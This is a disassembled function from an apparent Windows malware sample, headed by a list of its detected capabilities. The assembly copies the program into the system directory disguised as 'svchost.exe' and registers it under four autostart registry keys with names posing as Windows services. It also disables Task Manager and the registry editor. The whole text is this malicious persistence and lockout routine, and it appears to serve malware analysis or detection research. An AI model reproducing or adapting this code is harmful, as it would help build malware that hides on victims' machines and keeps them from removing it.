Function at 0x403020
Capabilities:
Copy file
Create directory
Disable system features via registry on windows
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x4032a4
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403044
sub ecx, edx
je 0x4032a4
push 0x103
lea eax, [ebp - 0x108]
mov dword [ebp - 0x110], 1
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x40307d
push str.Error:_Failed_to_get_system_directory.
jmp 0x4032a9
lea ecx, [ebp - 0x108]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x403084
mov eax, dword [0x405450]
mov dword [ecx], eax
mov eax, dword [0x405454]
mov dword [ecx + 4], eax
mov al, byte [0x405458]
mov byte [ecx + 8], al
lea eax, [ebp - 0x108]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x4030cf
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4030cf
push str.Error:_Failed_to_create_directory.
jmp 0x4032a9
lea ecx, [ebp - 0x108]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4030d6
mov eax, dword [str._svchost.exe]
mov dword [ecx], eax
mov eax, dword [0x405484]
mov dword [ecx + 4], eax
mov eax, dword [0x405488]
mov dword [ecx + 8], eax
mov al, byte [0x40548c]
mov byte [ecx + 0xc], al
lea eax, [ebp - 0x108]
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x40311d
push str.Error:_Failed_to_copy_file.
jmp 0x4032a9
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x10c]
push edi
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0x108]
push 0x103
push eax
push 1
push 0
push str.Generic_Host_Process_for_Win32_Services
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
call ebx
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Windows_Updater
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
push 0x80000002
call ebx
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Windows_Server
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
push 0x80000002
call ebx
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Generic
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call ebx
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call ebx
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push str.DisableRegistrytools
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403c70
mov esp, ebp
pop ebp
ret
push str.Error:_Invalid_input_string.
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.00401010
add esp, 8
mov ecx, eax
push 0x4013d0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00403c70
mov esp, ebp
pop ebp
ret